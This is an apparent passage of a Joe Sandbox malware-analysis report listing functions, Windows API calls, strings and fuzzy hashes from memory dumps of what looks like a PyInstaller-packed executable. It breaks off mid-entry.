Associated: 00000009.00000002.2285089335.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285089335.00007FF7CA7D3000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285165136.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 1d48df8ff45913ef4d2fe20e3a196162e4d6dc571d0fb1b63797b01b1d6529e7
Instruction ID: ab56e8c3e4cb33c285bac3f77601e5407164992e197799701c2b9bd7b800ccfb
Opcode Fuzzy Hash: 1d48df8ff45913ef4d2fe20e3a196162e4d6dc571d0fb1b63797b01b1d6529e7
Instruction Fuzzy Hash: 1B017021A0878240FA04AF777910469E795BB59FF1B884671DE6C17BD6DE3DD4128310

Function 00007FF8B83176F0 Relevance: 1.5, APIs: 1, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2285875889.00007FF8B8301000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF8B8300000, based on PE: true

Associated: 00000009.00000002.2285844343.00007FF8B8300000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2286113655.00007FF8B83B5000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2286190303.00007FF8B83EF000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2286212541.00007FF8B83F2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff8b8300000_tmp8AEF.jbxd

Similarity

API ID: __vcrt_initialize_locks__vcrt_initialize_winapi_thunks
String ID:
API String ID: 2444027679-0
Opcode ID: 267e1e33e985904d0087cc8bc5e2fb633dc7a44b110c5dfb642aea7bba0d9fe0
Instruction ID: ef6b4eab6556568d4ed8887d9687d7f963a82f9b3ea5fd4c553fa640225c149f
Opcode Fuzzy Hash: 267e1e33e985904d0087cc8bc5e2fb633dc7a44b110c5dfb642aea7bba0d9fe0
Instruction Fuzzy Hash: 08114921E09A0281FE615B2CE5903B96290AF08BE0F5C4139DB6D027D5DF2CF842C308

Function 00007FF7CA7981A0 Relevance: 1.5, APIs: 1, Instructions: 19libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7CA7986B0: MultiByteToWideChar.KERNEL32(?,?,?,00007FF7CA793FA4,00000000,00007FF7CA791925), ref: 00007FF7CA7986E9

LoadLibraryExW.KERNELBASE(?,00007FF7CA795C06,?,00007FF7CA79308E), ref: 00007FF7CA7981C2

Memory Dump Source

Source File: 00000009.00000002.2284834998.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000009.00000002.2284804099.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2284923903.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285089335.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285089335.00007FF7CA7D3000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285165136.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: ByteCharLibraryLoadMultiWide
String ID:
API String ID: 2592636585-0
Opcode ID: 637d93bcaba6b3ef3808867d80487fbb7a80e425bc13fea3da321eb74d5281f1
Instruction ID: 97efc5be68003b177af1748d1ea1ba12fcd88c4c0044344dc5c796438a78aa4b
Opcode Fuzzy Hash: 637d93bcaba6b3ef3808867d80487fbb7a80e425bc13fea3da321eb74d5281f1
Instruction Fuzzy Hash: 3BD0C201F2824581FA44BF7BBA669799151AFCDBD0F889035EE1C07B56DC3CC4910B00

Function 00007FF7CA7AC90C Relevance: 1.3, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32(?,?,?,00007FF7CA79FFB0,?,?,?,00007FF7CA7A161A,?,?,?,?,?,00007FF7CA7A2E09), ref: 00007FF7CA7AC94A

Memory Dump Source

Source File: 00000009.00000002.2284834998.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000009.00000002.2284804099.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2284923903.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285089335.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285089335.00007FF7CA7D3000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285165136.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: b18cfb789f6bc806f768d700ed4d2a41d5d7e56d76a43a128583cd408f8141a4
Instruction ID: 9b5f142718a156e89b28036550ac1cbc8fdf74b58dbe368036d57a75087aa942
Opcode Fuzzy Hash: b18cfb789f6bc806f768d700ed4d2a41d5d7e56d76a43a128583cd408f8141a4
Instruction Fuzzy Hash: 04F03A51B19247A5FE547EE3797167591807F9CBB3F88A2B09D2E462C1DE1CA8448130

Non-executed Functions

Function 00007FF7CA7979B0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 89fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,00007FF7CA797EF9,00007FF7CA7939E6), ref: 00007FF7CA797A1B
RemoveDirectoryW.KERNEL32(?,00007FF7CA797EF9,00007FF7CA7939E6), ref: 00007FF7CA797A9E
DeleteFileW.KERNEL32(?,00007FF7CA797EF9,00007FF7CA7939E6), ref: 00007FF7CA797ABD
FindNextFileW.KERNEL32(?,00007FF7CA797EF9,00007FF7CA7939E6), ref: 00007FF7CA797ACB
FindClose.KERNEL32(?,00007FF7CA797EF9,00007FF7CA7939E6), ref: 00007FF7CA797ADC
RemoveDirectoryW.KERNEL32(?,00007FF7CA797EF9,00007FF7CA7939E6), ref: 00007FF7CA797AE5

Strings

%s\*, xrefs: 00007FF7CA7979E2

Memory Dump Source

Source File: 00000009.00000002.2284834998.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000009.00000002.2284804099.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2284923903.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285089335.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285089335.00007FF7CA7D3000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285165136.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: FileFind$DirectoryRemove$CloseDeleteFirstNext
String ID: %s\*
API String ID: 1057558799-766152087
Opcode ID: 37c75c647de740c4d03e434983ba542f23ef98c0d39288f6f50529afbb256bed
Instruction ID: 80abd8950a2015ed5aae56bb5fd8ae3311cb3c64894ae9b80c3d978894136bca
Opcode Fuzzy Hash: 37c75c647de740c4d03e434983ba542f23ef98c0d39288f6f50529afbb256bed
Instruction Fuzzy Hash: 90418121A0C64295FA20BF3AB4649FAA360FB9C776FC40273D95D42694DE3CD6498750

Function 00007FF7CA79C44C Relevance: 10.6, APIs: 7, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF7CA79C468
RtlCaptureContext.KERNEL32 ref: 00007FF7CA79C495
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF7CA79C4AF
RtlVirtualUnwind.KERNEL32 ref: 00007FF7CA79C4F0
IsDebuggerPresent.KERNEL32 ref: 00007FF7CA79C544
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF7CA79C561
UnhandledExceptionFilter.KERNEL32 ref: 00007FF7CA79C56C

Memory Dump Source

Source File: 00000009.00000002.2284834998.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000009.00000002.2284804099.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2284923903.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285089335.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285089335.00007FF7CA7D3000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285165136.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 59201671b846c18328c4c6cdbad1e823a2b0fec8eaed916d44c3dc4e1cb48f19
Instruction ID: fe7a976ad11d79304e168e7d829824812e7c869bcf1f32b4933ca3257193fedb
Opcode Fuzzy Hash: 59201671b846c18328c4c6cdbad1e823a2b0fec8eaed916d44c3dc4e1cb48f19
Instruction Fuzzy Hash: 68315EB2608B818AFB609F61F8507EEB364FB98755F84403ADA4D47B94DF38C548C724

Function 00007FF7CA7A9924 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF7CA7A999D
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF7CA7A99B5
RtlVirtualUnwind.KERNEL32 ref: 00007FF7CA7A99F0
IsDebuggerPresent.KERNEL32 ref: 00007FF7CA7A9A29
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF7CA7A9A33
UnhandledExceptionFilter.KERNEL32 ref: 00007FF7CA7A9A3E

Memory Dump Source

Source File: 00000009.00000002.2284834998.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000009.00000002.2284804099.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2284923903.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285089335.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285089335.00007FF7CA7D3000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285165136.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: f336cc4ee628281f12481126c86b188c106f14650002c00baa1860decbda2c10
Instruction ID: 00dd2e426002bad5361d083163e6dfe6f1aeb458ce75c1571a0537030636f3de
Opcode Fuzzy Hash: f336cc4ee628281f12481126c86b188c106f14650002c00baa1860decbda2c10
Instruction Fuzzy Hash: 9D318F32608B8195EB20DF26F8506EEB3A4FB88765F900136EE9D47B54DF38C555CB10

Function 00007FF7CA7B0B84 Relevance: 7.8, APIs: 5, Instructions: 282COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7CA7B0BD0
FindFirstFileExW.KERNEL32 ref: 00007FF7CA7B0CDA

Memory Dump Source

Source File: 00000009.00000002.2284834998.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000009.00000002.2284804099.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2284923903.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285089335.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285089335.00007FF7CA7D3000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285165136.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: FileFindFirst_invalid_parameter_noinfo
String ID:
API String ID: 2227656907-0
Opcode ID: 88c6eeb3815b689bec9e785de6a4435637107cd6a4a104e99c849aa3a7604df1
Instruction ID: d656eb3652bd55c336a83db04dca9c53e0febc12def27aa4012eec6cd49f9ee6
Opcode Fuzzy Hash: 88c6eeb3815b689bec9e785de6a4435637107cd6a4a104e99c849aa3a7604df1
Instruction Fuzzy Hash: B5B1B5A2B1878241FA60AF23B4285B9A350FB68BF5F845171EE5D07BD5DF3CE4428314

Function 00007FF7CA7977D0 Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 115COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7CA7986B0: MultiByteToWideChar.KERNEL32(?,?,?,00007FF7CA793FA4,00000000,00007FF7CA791925), ref: 00007FF7CA7986E9

ExpandEnvironmentStringsW.KERNEL32(?,00007FF7CA797C97,?,?,FFFFFFFF,00007FF7CA793834), ref: 00007FF7CA79782C

Part of subcall function 00007FF7CA7926C0: MessageBoxW.USER32 ref: 00007FF7CA792736

Strings

LOADER: failed to obtain the absolute path of the runtime-tmpdir., xrefs: 00007FF7CA7978D9
LOADER: runtime-tmpdir points to non-existent drive %ls (type: %d)!, xrefs: 00007FF7CA79789D
LOADER: failed to create runtime-tmpdir path %ls!, xrefs: 00007FF7CA79796D
LOADER: failed to convert runtime-tmpdir to a wide string., xrefs: 00007FF7CA797803
%.*s, xrefs: 00007FF7CA79790C
CreateDirectory, xrefs: 00007FF7CA797974
LOADER: failed to expand environment variables in the runtime-tmpdir., xrefs: 00007FF7CA797840
\, xrefs: 00007FF7CA797861

Memory Dump Source

Source File: 00000009.00000002.2284834998.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000009.00000002.2284804099.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2284923903.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285089335.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285089335.00007FF7CA7D3000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285165136.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: ByteCharEnvironmentExpandMessageMultiStringsWide
String ID: %.*s$CreateDirectory$LOADER: failed to convert runtime-tmpdir to a wide string.$LOADER: failed to create runtime-tmpdir path %ls!$LOADER: failed to expand environment variables in the runtime-tmpdir.$LOADER: failed to obtain the absolute path of the runtime-tmpdir.$LOADER: runtime-tmpdir points to non-existent drive %ls (type: %d)!$\
API String ID: 1662231829-930877121
Opcode ID: 5adf1a7b4f365c991e592d6daa758356e56cb82b092043d5b28c068608273831
Instruction ID: 5dc50df7de2b082dede527c16f825fa99ee6ee66bed4b58758fc4901ef324e6a
Opcode Fuzzy Hash: 5adf1a7b4f365c991e592d6daa758356e56cb82b092043d5b28c068608273831
Instruction Fuzzy Hash: 59419351B2D64285FA50BF36F871AB9E251FF9C7B2FC050B2DA4E42695EE2CE5048360

Function 00007FF7CA7A02E8 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 475COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7CA7A0328
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7CA7A06F0
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7CA7A098F

Strings

f, xrefs: 00007FF7CA7A03C0
f, xrefs: 00007FF7CA7A042A
f, xrefs: 00007FF7CA7A0575
p, xrefs: 00007FF7CA7A03CD
p, xrefs: 00007FF7CA7A0432

Memory Dump Source

Source File: 00000009.00000002.2284834998.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000009.00000002.2284804099.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2284923903.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285089335.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285089335.00007FF7CA7D3000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285165136.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: f$f$p$p$f
API String ID: 3215553584-1325933183
Opcode ID: 47a7a6303f50c331757a7ed503f6ccc132970c05c2223996d06c8e5714df85c4
Instruction ID: 9729fdf35d9b8f656d733ac7177f68536e39b046f9d3c7d0175419ed0c409069
Opcode Fuzzy Hash: 47a7a6303f50c331757a7ed503f6ccc132970c05c2223996d06c8e5714df85c4
Instruction Fuzzy Hash: 6B129722E0C143A6FB607E16F0786B9F251FB84766FC45875E689466C4DF3CEC828B64

Function 00007FF7CA797FC0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 89processsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7CA7986B0: MultiByteToWideChar.KERNEL32(?,?,?,00007FF7CA793FA4,00000000,00007FF7CA791925), ref: 00007FF7CA7986E9

SetConsoleCtrlHandler.KERNEL32(?,00007FF7CA7939C0), ref: 00007FF7CA79800A
GetStartupInfoW.KERNEL32(?,00007FF7CA7939C0), ref: 00007FF7CA79802B

Part of subcall function 00007FF7CA7A978C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7CA7A97A0

Part of subcall function 00007FF7CA7A7A2C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7CA7A7A93

GetCommandLineW.KERNEL32(?,00007FF7CA7939C0), ref: 00007FF7CA7980CD
CreateProcessW.KERNEL32 ref: 00007FF7CA79810F
WaitForSingleObject.KERNEL32(?,00007FF7CA7939C0), ref: 00007FF7CA798123
GetExitCodeProcess.KERNEL32 ref: 00007FF7CA798133

Strings

Failed to create child process!, xrefs: 00007FF7CA79813F
CreateProcessW, xrefs: 00007FF7CA798146

Memory Dump Source

Source File: 00000009.00000002.2284834998.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000009.00000002.2284804099.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2284923903.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285089335.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285089335.00007FF7CA7D3000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285165136.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: Process_invalid_parameter_noinfo$ByteCharCodeCommandConsoleCreateCtrlExitHandlerInfoLineMultiObjectSingleStartupWaitWide
String ID: CreateProcessW$Failed to create child process!
API String ID: 2895956056-699529898
Opcode ID: 2d8580ce5d81a01d0f8683f73fef31206a84e7faf833a053d17f215ed92b6c27
Instruction ID: f12b3981035044a2654949c3ea4a651c204c0cfc626424de18e302af76f872bd
Opcode Fuzzy Hash: 2d8580ce5d81a01d0f8683f73fef31206a84e7faf833a053d17f215ed92b6c27
Instruction Fuzzy Hash: 7A414D32A0878291EA20AF25F4652AAB3A0FBDC371F900375EAAD437D5DF7CD4448B50

Function 00007FF7CA797C40 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 116COMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(?,?,FFFFFFFF,00007FF7CA793834), ref: 00007FF7CA797CE4
CreateDirectoryW.KERNEL32(?,?,FFFFFFFF,00007FF7CA793834), ref: 00007FF7CA797D2C

Part of subcall function 00007FF7CA797E10: GetEnvironmentVariableW.KERNEL32(00007FF7CA79365F), ref: 00007FF7CA797E47
Part of subcall function 00007FF7CA797E10: ExpandEnvironmentStringsW.KERNEL32 ref: 00007FF7CA797E69

Part of subcall function 00007FF7CA7A7548: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7CA7A7561

Part of subcall function 00007FF7CA7926C0: MessageBoxW.USER32 ref: 00007FF7CA792736

Strings

TMP, xrefs: 00007FF7CA797C7C, 00007FF7CA797D83
LOADER: length of teporary directory path exceeds maximum path length!, xrefs: 00007FF7CA797D5E
_MEI%d, xrefs: 00007FF7CA797CF2
LOADER: failed to set the TMP environment variable., xrefs: 00007FF7CA797CBC
TMP, xrefs: 00007FF7CA797CA2

Memory Dump Source

Source File: 00000009.00000002.2284834998.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000009.00000002.2284804099.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2284923903.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285089335.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285089335.00007FF7CA7D3000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285165136.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: Environment$CreateDirectoryExpandMessagePathStringsTempVariable_invalid_parameter_noinfo
String ID: LOADER: failed to set the TMP environment variable.$LOADER: length of teporary directory path exceeds maximum path length!$TMP$TMP$_MEI%d
API String ID: 740614611-1339014028
Opcode ID: 41794429c51d27e0df7a21877b4f19c7cdf826b4f928fd21ea6cb85727b80d41
Instruction ID: 91cdc93960275bf2f8001bdb1c66751abf2e88145991c7ace678a285fe8fabe2
Opcode Fuzzy Hash: 41794429c51d27e0df7a21877b4f19c7cdf826b4f928fd21ea6cb85727b80d41
Instruction Fuzzy Hash: F141AF11A09A4290FA24BF77B9756F99251BF9DBA2FC010B2DD0D47796EE3CE9018360

Function 00007FF7CA79CFE8 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,00007FF7CA79D29A,?,?,?,00007FF7CA79CF8C,?,?,?,00007FF7CA79CB89), ref: 00007FF7CA79D06D
GetLastError.KERNEL32(?,?,?,00007FF7CA79D29A,?,?,?,00007FF7CA79CF8C,?,?,?,00007FF7CA79CB89), ref: 00007FF7CA79D07B
LoadLibraryExW.KERNEL32(?,?,?,00007FF7CA79D29A,?,?,?,00007FF7CA79CF8C,?,?,?,00007FF7CA79CB89), ref: 00007FF7CA79D0A5
FreeLibrary.KERNEL32(?,?,?,00007FF7CA79D29A,?,?,?,00007FF7CA79CF8C,?,?,?,00007FF7CA79CB89), ref: 00007FF7CA79D113
GetProcAddress.KERNEL32(?,?,?,00007FF7CA79D29A,?,?,?,00007FF7CA79CF8C,?,?,?,00007FF7CA79CB89), ref: 00007FF7CA79D11F

Strings

api-ms-, xrefs: 00007FF7CA79D08D

Memory Dump Source

Source File: 00000009.00000002.2284834998.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000009.00000002.2284804099.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2284923903.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285089335.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285089335.00007FF7CA7D3000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285165136.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: ae36e00ef30d4e956021163d7a0c1bae911f6c658fcf96311cd3d9d96979b27c
Instruction ID: 0118371054b136b923ac20cc59fc5901ea0ad48df6ba7f1a83973a246ef4d33c
Opcode Fuzzy Hash: ae36e00ef30d4e956021163d7a0c1bae911f6c658fcf96311cd3d9d96979b27c
Instruction Fuzzy Hash: 5931B461A1AB4285FE11AF3BB520A75A394BF4CB76F990576DD1D07391EF3CE4428320

Function 00007FF7CA797B50 Relevance: 10.6, APIs: 7, Instructions: 63COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 00007FF7CA797B70
OpenProcessToken.ADVAPI32 ref: 00007FF7CA797B83
GetTokenInformation.ADVAPI32 ref: 00007FF7CA797BA8
GetLastError.KERNEL32 ref: 00007FF7CA797BB2
GetTokenInformation.ADVAPI32 ref: 00007FF7CA797BF2
ConvertSidToStringSidW.ADVAPI32 ref: 00007FF7CA797C0E
CloseHandle.KERNEL32 ref: 00007FF7CA797C26

Memory Dump Source

Source File: 00000009.00000002.2284834998.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000009.00000002.2284804099.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2284923903.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285089335.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285089335.00007FF7CA7D3000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285165136.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: Token$InformationProcess$CloseConvertCurrentErrorHandleLastOpenString
String ID:
API String ID: 995526605-0
Opcode ID: 8356e17e6427c03366acad688ef96df5430cd8c67dfe58d52091e88c81740b7d
Instruction ID: e8062758e099b96dd1fdf00f39dd3351d2cae3f5f081f0465971c74a053c32ca
Opcode Fuzzy Hash: 8356e17e6427c03366acad688ef96df5430cd8c67dfe58d52091e88c81740b7d
Instruction Fuzzy Hash: DD216422A0CB4641FB10AF76F460639E3A5FBC97B5F900275EA6D43AE4DF6CD4448710

Function 00007FF7CA7AA460 Relevance: 10.6, APIs: 7, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF7CA7AA46F
FlsGetValue.KERNEL32 ref: 00007FF7CA7AA484
FlsSetValue.KERNEL32 ref: 00007FF7CA7AA4A5
FlsSetValue.KERNEL32 ref: 00007FF7CA7AA4D2
FlsSetValue.KERNEL32 ref: 00007FF7CA7AA4E3
FlsSetValue.KERNEL32 ref: 00007FF7CA7AA4F4
SetLastError.KERNEL32 ref: 00007FF7CA7AA50F

Memory Dump Source

Source File: 00000009.00000002.2284834998.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000009.00000002.2284804099.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2284923903.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285089335.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285089335.00007FF7CA7D3000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285165136.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 4f1009f36f4b7e41e642a617816a0843c7a4fdcae41be86a1245b23186b7dd2e
Instruction ID: 0314e74cc5f95f78e9c49c88b710fc0b5e1f18f0eb6b879f71166abd8444de39
Opcode Fuzzy Hash: 4f1009f36f4b7e41e642a617816a0843c7a4fdcae41be86a1245b23186b7dd2e
Instruction Fuzzy Hash: 9B219D20A0C64662FA65BF277665178E1527F4C7B2F9426B4E83E07AD6DE2CAC004720

Function 00007FF7CA7929E0 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 58windowCOMMON

Download Yara Rule

